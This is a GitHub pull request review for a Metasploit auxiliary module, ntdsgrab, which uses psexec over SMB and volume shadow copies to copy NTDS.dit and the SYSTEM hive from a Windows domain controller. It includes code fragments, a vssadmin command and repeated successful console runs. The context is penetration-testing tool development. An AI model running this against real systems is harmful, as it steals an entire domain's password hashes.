Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

Added Auxiliary Module ntdsgrab.rb #1574

Merged
merged 28 commits into from Mar 14, 2013

Conversation

Projects
None yet
5 participants
Contributor

R3dy commented Mar 10, 2013

This module uses the psexec Mixin to extract NTDS.dit and the SYSTEM registry hive from a Windows Domain Controller.

Reference:
http://blog.accuvant.com/blog/owning-computers-without-shell-access

The module can be used in three seperate ways.

Check if a volume shadow copy already exists and pull from there:

msf  auxiliary(ntdsgrab) > run

[*] 10.0.10.132:445 - Checking if a Volume Shadow Copy exists already.
[+] 10.0.10.132:445 - Volume Shadow Copy exists on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy74
[*] 10.0.10.132:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 10.0.10.132:445 - Executing cleanup...
[*] 10.0.10.132:445 - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Create a new Volume Shadow Copy and pull from there:

msf  auxiliary(ntdsgrab) > set CREATE_NEW_VSC true
CREATE_NEW_VSC => true
msf  auxiliary(ntdsgrab) > run

[*] Creating Volume Shadow Copy
[+] Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy75
[*] 10.0.10.132:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 10.0.10.132:445 - Executing cleanup...
[*] 10.0.10.132:445 - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Target a specific user-defined Volume Shadow Copy and pull form there:

msf  auxiliary(ntdsgrab) > set VSCPATH '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy70'
VSCPATH => \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy70
msf  auxiliary(ntdsgrab) > run

[*] 10.0.10.132:445 - Attempting to copy NTDS.dit from \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy70
[*] 10.0.10.132:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 10.0.10.132:445 - Executing cleanup...
[*] 10.0.10.132:445 - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Contributor

R3dy commented Mar 10, 2013

Alright I can't figure out how to get rid of this data from a previous pull request. Hopefully it doesn't mater :)

Contributor

L1ghtn1ng commented Mar 10, 2013

Please add the license terms at the very top of the module see another module for example

Contributor

todb-r7 commented Mar 11, 2013

Alright I can't figure out how to get rid of this data from a previous pull request.

You're right, it shouldn't matter at all, assuming everything merges cleanly at the end. History is important.

Contributor

jlee-r7 commented Mar 11, 2013

This shouldn't be a scanner.

@jvazquez-r7 jvazquez-r7 and 2 others commented on an outdated diff Mar 11, 2013

modules/auxiliary/admin/smb/ntdsgrab.rb
+ },
+
+ 'Author' => [
+ 'Royce Davis @R3dy__ <rdavis[at]accuvant.com>'
+ ],
+
+ 'License'=> MSF_LICENSE,
+ 'References' => [
+ [ 'URL', 'http://sourceforge.net/projects/smbexec' ],
+ [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ]
+ ],
+ ))
+
+ register_options([
+ OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
+ OptString.new('LOGDIR', [true, 'Directory on local system used to store the ntds.dit and SYSTEM hive', '/tmp/NTDS_Grab']),
@jvazquez-r7

jvazquez-r7 Mar 11, 2013

Contributor

I dont think it is the best way to store the ntds.dit and SYSTEM hive.

My feeling is store_loot could be used to store them, and in this way you can also track collected loots/objects in the db if you're using.

Any inconvenient with using store_loot here?

@R3dy

R3dy Mar 11, 2013

Contributor

I will look into store_loot. The only reason I did it this way was so that I could use a separate tool that I built ntds_hashextract.rb to retrieve the Active Directory password hashes and it is convient for the two files to be in the same directory. Can this be achieved with store_loot?

@jlee-r7

jlee-r7 Mar 11, 2013

Contributor

store_loot puts everything under ~/.msf4/loot/ but that may not always be the case.

Contributor

jvazquez-r7 commented Mar 12, 2013

Deployed a single DC and tried

msf  auxiliary(ntdsgrab) > show options

Module options (auxiliary/admin/smb/ntdsgrab):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CREATE_NEW_VSC  false            no        If true, attempts to create a volume shadow copy
   RHOST           192.168.1.133    yes       The target address
   RPORT           445              yes       Set the SMB service port
   SMBDomain       SMALLBUSINESS    no        The Windows domain to use for authentication
   SMBPass         juan             no        The password for the specified username
   SMBSHARE        C$               yes       The name of a writeable share on the server
   SMBUser         Administrator    no        The username to authenticate as
   VSCPATH                          no        The path to the target Volume Shadow Copy
   WINPATH         WINDOWS          yes       The name of the Windows directory (examples: WINDOWS, WINNT)

msf  auxiliary(ntdsgrab) > run

[*] 192.168.1.133:445 - Checking if a Volume Shadow Copy exists already.
[+] 192.168.1.133:445 - Volume Shadow Copy exists on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] 192.168.1.133:445 - Checking if NTDS.dit was copied.
[-] 192.168.1.133:445 - Failed to find a volume shadow copy.  Issuing cleanup command sequence.
[*] 192.168.1.133:445 - Executing cleanup...
[*] 192.168.1.133:445 - Cleanup was successful
[*] Auxiliary module execution completed

Any clue about what could be wrong? (I've checked ntds.dit exists con c:\windows\ntds\ntds.dit).

Feel free to ask me to provide any information.

Contributor

R3dy commented Mar 12, 2013

By any chance could you try running it with CREATE_NEW_VSC set to 'true' and tell me if there is any difference?

Thanks!

Contributor

jvazquez-r7 commented Mar 12, 2013

Sure, successful with CREATE_NEW_VSC as true:

msf  auxiliary(ntdsgrab) > show options

Module options (auxiliary/admin/smb/ntdsgrab):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CREATE_NEW_VSC  true             no        If true, attempts to create a volume shadow copy
   RHOST           192.168.1.134    yes       The target address
   RPORT           445              yes       Set the SMB service port
   SMBDomain       SMALLBUSINESS    no        The Windows domain to use for authentication
   SMBPass         juan             no        The password for the specified username
   SMBSHARE        C$               yes       The name of a writeable share on the server
   SMBUser         Administrator    no        The username to authenticate as
   VSCPATH                          no        The path to the target Volume Shadow Copy
   WINPATH         WINDOWS          yes       The name of the Windows directory (examples: WINDOWS, WINNT)

msf  auxiliary(ntdsgrab) > run

[*] Creating Volume Shadow Copy
[+] Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
[*] 192.168.1.134:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 192.168.1.134:445 - Executing cleanup...
[*] 192.168.1.134:445 - Cleanup was successful
[*] Auxiliary module execution completed

Contributor

R3dy commented Mar 13, 2013

Ok so here is what I would like you to try next if you don't mind.

Try it again with CREATE_NEW_VSC set to false. and tell me if it works, My guess is that it will work and I had an off by one error whereby my check to see if a VSC is present requires there to be at least two and in this canse when you spun up a new DC that has only one shadow copy my off by one triggered a false negative.

If you try it again and it sitll produces the same error. Can you check for m ein the c:\windows\temp directory and tell me if there is a file called "ntds" and or "sys"?

Thanks man!

Contributor

jvazquez-r7 commented Mar 13, 2013

Setting it again to false works :)

msf  auxiliary(ntdsgrab) > show options

Module options (auxiliary/admin/smb/ntdsgrab):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CREATE_NEW_VSC  true             no        If true, attempts to create a volume shadow copy
   RHOST           192.168.1.134    yes       The target address
   RPORT           445              yes       Set the SMB service port
   SMBDomain       SMALLBUSINESS    no        The Windows domain to use for authentication
   SMBPass         juan             no        The password for the specified username
   SMBSHARE        C$               yes       The name of a writeable share on the server
   SMBUser         Administrator    no        The username to authenticate as
   VSCPATH                          no        The path to the target Volume Shadow Copy
   WINPATH         WINDOWS          yes       The name of the Windows directory (examples: WINDOWS, WINNT)

msf  auxiliary(ntdsgrab) > set CREATE_NEW_VSC false
CREATE_NEW_VSC => false
msf  auxiliary(ntdsgrab) > run

[*] 192.168.1.134:445 - Checking if a Volume Shadow Copy exists already.
[+] 192.168.1.134:445 - Volume Shadow Copy exists on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
[*] 192.168.1.134:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 192.168.1.134:445 - Executing cleanup...
[*] 192.168.1.134:445 - Cleanup was successful
[*] Auxiliary module execution completed

Contributor

R3dy commented Mar 13, 2013

I am unable to replicate this error. If you try it again on a fresh DC do you still get the same error? I have deleted all Volume Shadow copies on my system to see if that was the issue and it is still working.

Contributor

jvazquez-r7 commented Mar 13, 2013

Tried again in a fresh DC:

msf  auxiliary(ntdsgrab) > run

[*] 192.168.1.135:445 - Checking if a Volume Shadow Copy exists already.
[*] 192.168.1.135:445 - No VSC Found.
[*] Creating Volume Shadow Copy
[+] Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] 192.168.1.135:445 - Checking if NTDS.dit was copied.
[*] Downloading ntds.dit file
[*] Downloading SYSTEM hive file
[*] 192.168.1.135:445 - Executing cleanup...
[*] 192.168.1.135:445 - Cleanup was successful
[*] Auxiliary module execution completed

weird :s now it's working in the first shot....

Oka will give a new and last shot tomorrow, if works, after last code cleanup I think we'll be ready to merge :)

thanks!

@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Mar 13, 2013

modules/auxiliary/admin/smb/ntdsgrab.rb
+
+
+ # Download the SYSTEM hive copy to your attacking machine
+ def download_sys_hive(file, ip)
+ print_status("Downloading SYSTEM hive file")
+ begin
+ # Try to download SYSTEM hive
+ simple.connect("\\\\#{ip}\\#{@smbshare}")
+ remotefile = simple.open("#{file}", 'rob')
+ data = remotefile.read
+ store_loot("Registry.hive.system", "binary/reg", ip, data, "system-hive", nil, nil)
+ remotefile.close
+ rescue StandardError => sysdownloaderror
+ print_error("Unable to download SYSTEM hive: #{sysdownloaderror}")
+ return sysdownloaderror
+ end
@jvazquez-r7

jvazquez-r7 Mar 13, 2013

Contributor

There isn't needed a simple.disconnect("\#{ip}#{@smbshare}") as in download_ntds? just asking :)

@R3dy

R3dy Mar 14, 2013

Contributor

Yes there should be, fixed.

@jvazquez-r7 jvazquez-r7 commented on an outdated diff Mar 13, 2013

modules/auxiliary/admin/smb/ntdsgrab.rb
+
+ # Download the ntds.dit copy to your attacking machine
+ def download_ntds(file, ip)
+ print_status("Downloading ntds.dit file")
+ begin
+ # Try to download ntds.dit
+ simple.connect("\\\\#{ip}\\#{@smbshare}")
+ remotefile = simple.open("#{file}", 'rob')
+ data = remotefile.read
+ store_loot("NTDS.database", "data", ip, data, "ntds.dit", nil, nil)
+ remotefile.close
+ rescue StandardError => ntdsdownloaderror
+ print_error("Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
+ return ntdsdownloaderror
+ end
+ simple.disconnect("\\\\#{ip}\\#{@smbshare}")
@jvazquez-r7

jvazquez-r7 Mar 13, 2013

Contributor

Shouldn't be done into an ensure block? Just asking

@jvazquez-r7 jvazquez-r7 commented on the diff Mar 13, 2013

modules/auxiliary/admin/smb/ntdsgrab.rb
+ prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'
+ vsc = ""
+ output = smb_read_file(@smbshare, @ip, file)
+ output.each_line do |line|
+ vsc += line if line.include?("GLOBALROOT")
+ end
+ return prepath + vsc.split("ShadowCopy")[1].chomp
+ rescue StandardError => vscpath_error
+ print_error("Could not determine the exact path to the VSC check your WINPATH")
+ return nil
+ end
+ end
+
+ # Removes files created during execution.
+ def cleanup_after(*files)
+ simple.connect("\\\\#{@ip}\\#{@smbshare}")
@jvazquez-r7

jvazquez-r7 Mar 13, 2013

Contributor

Shouldn't be a simple.disconnect after the work?

@R3dy

R3dy Mar 14, 2013

Contributor

Fixed.

@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Mar 13, 2013

modules/auxiliary/admin/smb/ntdsgrab.rb
+
+ # This is the main control method
+ def run
+ # Initialize some variables
+ text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
+ bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
+ createvsc = "vssadmin create shadow /For=%SYSTEMDRIVE%"
+ @ip = datastore['RHOST']
+ @smbshare = datastore['SMBSHARE']
+ # Try and connect
+ if connect
+ #Try and authenticate with given credentials
+ begin
+ smb_login
+ rescue StandardError => autherror
+ print_error("Unable to authenticate with given credentials: #{autherror}")
@jvazquez-r7

jvazquez-r7 Mar 13, 2013

Contributor

The messages format isn't consistnet, sometimes there is "#{peer} - " prefix, others no. I can fix it by myself at cleanup time.

@R3dy

R3dy Mar 14, 2013

Contributor

Fixed.

@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Mar 13, 2013

modules/auxiliary/admin/smb/ntdsgrab.rb
+ return
+ end
+ # If a VSC was specified then don't try and create one
+ if datastore['VSCPATH'].length > 0
+ print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
+ vscpath = datastore['VSCPATH']
+ else
+ unless datastore['CREATE_NEW_VSC'] == true
+ vscpath = check_vss(text, bat)
+ end
+ unless vscpath
+ vscpath = make_volume_shadow_copy(createvsc, text, bat)
+ end
+ end
+ if vscpath
+ if !(n = copy_ntds(@ip, vscpath, text)) == false && !(s = copy_sys_hive(@ip)) == false
@jvazquez-r7

jvazquez-r7 Mar 13, 2013

Contributor

I feel like this line could be something like :

if copy_ntds(@ip, vscpath, text) and copy_sys_hive(@ip)

right? Always is a good idea try to keep code and conditions as simple as possible. Code is more readable :)

@R3dy

R3dy Mar 14, 2013

Contributor

Fixed, used your example.

@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Mar 13, 2013

modules/auxiliary/admin/smb/ntdsgrab.rb
+ end
+ # If a VSC was specified then don't try and create one
+ if datastore['VSCPATH'].length > 0
+ print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
+ vscpath = datastore['VSCPATH']
+ else
+ unless datastore['CREATE_NEW_VSC'] == true
+ vscpath = check_vss(text, bat)
+ end
+ unless vscpath
+ vscpath = make_volume_shadow_copy(createvsc, text, bat)
+ end
+ end
+ if vscpath
+ if !(n = copy_ntds(@ip, vscpath, text)) == false && !(s = copy_sys_hive(@ip)) == false
+ download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"), @ip)
@jvazquez-r7

jvazquez-r7 Mar 13, 2013

Contributor

The download_ntds function isn using @ip for anything, but still you're sending the argument. On the other hand, if you are using @ip as instance variable, there is no need to keep sending is as argument. download_ntds will have access to the variable

@R3dy

R3dy Mar 14, 2013

Contributor

Fixed.

@jvazquez-r7 jvazquez-r7 merged commit abbb3b2 into rapid7:master Mar 14, 2013

1 check passed

default The Travis build passed
Details
Contributor

jvazquez-r7 commented Mar 14, 2013

Did last cleanup:

7403239

And tested with an existing VSC and creating a new one. Working, so merged! Thanks @R3dy !!

msf  auxiliary(psexec_ntdsgrab) > show options

Module options (auxiliary/admin/smb/psexec_ntdsgrab):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CREATE_NEW_VSC  false            no        If true, attempts to create a volume shadow copy
   RHOST                            yes       The target address
   RPORT           445              yes       Set the SMB service port
   SMBDomain       WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                          no        The password for the specified username
   SMBSHARE        C$               yes       The name of a writeable share on the server
   SMBUser                          no        The username to authenticate as
   VSCPATH                          no        The path to the target Volume Shadow Copy
   WINPATH         WINDOWS          yes       The name of the Windows directory (examples: WINDOWS, WINNT)

msf  auxiliary(psexec_ntdsgrab) > set rhost 192.168.1.135
rhost => 192.168.1.135
msf  auxiliary(psexec_ntdsgrab) > set SMBDomain SMALLBUSINESS
SMBDomain => SMALLBUSINESS
msf  auxiliary(psexec_ntdsgrab) > set SMBPass juan
SMBPass => juan
msf  auxiliary(psexec_ntdsgrab) > set SMBUser Administrator
SMBUser => Administrator
msf  auxiliary(psexec_ntdsgrab) > run

[*] 192.168.1.135:445 - Checking if a Volume Shadow Copy exists already.
[+] 192.168.1.135:445 - Volume Shadow Copy exists on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] 192.168.1.135:445 - Checking if NTDS.dit was copied.
[*] 192.168.1.135:445 - Downloading ntds.dit file
[+] 192.168.1.135:445 - ntds.dit stored at /Users/juan/.msf4/loot/20130314133631_default_192.168.1.135_psexec.ntdsgrab._378404.dit
[*] 192.168.1.135:445 - Downloading SYSTEM hive file
[+] 192.168.1.135:445 - SYSTEM hive stored at /Users/juan/.msf4/loot/20130314133633_default_192.168.1.135_psexec.ntdsgrab._264239.bin
[*] 192.168.1.135:445 - Executing cleanup...
[*] 192.168.1.135:445 - Cleanup was successful
[*] Auxiliary module execution completed
msf  auxiliary(psexec_ntdsgrab) > file /Users/juan/.msf4/loot/20130314133631_default_192.168.1.135_psexec.ntdsgrab._378404.dit
[*] exec: file /Users/juan/.msf4/loot/20130314133631_default_192.168.1.135_psexec.ntdsgrab._378404.dit

/Users/juan/.msf4/loot/20130314133631_default_192.168.1.135_psexec.ntdsgrab._378404.dit: data
msf  auxiliary(psexec_ntdsgrab) > file /Users/juan/.msf4/loot/20130314133633_default_192.168.1.135_psexec.ntdsgrab._264239.bin
[*] exec: file /Users/juan/.msf4/loot/20130314133633_default_192.168.1.135_psexec.ntdsgrab._264239.bin

/Users/juan/.msf4/loot/20130314133633_default_192.168.1.135_psexec.ntdsgrab._264239.bin: MS Windows registry file, NT/2000 or above
msf  auxiliary(psexec_ntdsgrab) > set CREATE_NEW_VSC true
CREATE_NEW_VSC => true
msf  auxiliary(psexec_ntdsgrab) > run

[*] 192.168.1.135:445 - Creating Volume Shadow Copy
[+] 192.168.1.135:445 - Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
[*] 192.168.1.135:445 - Checking if NTDS.dit was copied.
[*] 192.168.1.135:445 - Downloading ntds.dit file
[+] 192.168.1.135:445 - ntds.dit stored at /Users/juan/.msf4/loot/20130314133722_default_192.168.1.135_psexec.ntdsgrab._291883.dit
[*] 192.168.1.135:445 - Downloading SYSTEM hive file
[+] 192.168.1.135:445 - SYSTEM hive stored at /Users/juan/.msf4/loot/20130314133726_default_192.168.1.135_psexec.ntdsgrab._791823.bin
[*] 192.168.1.135:445 - Executing cleanup...
[*] 192.168.1.135:445 - Cleanup was successful
[*] Auxiliary module execution completed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment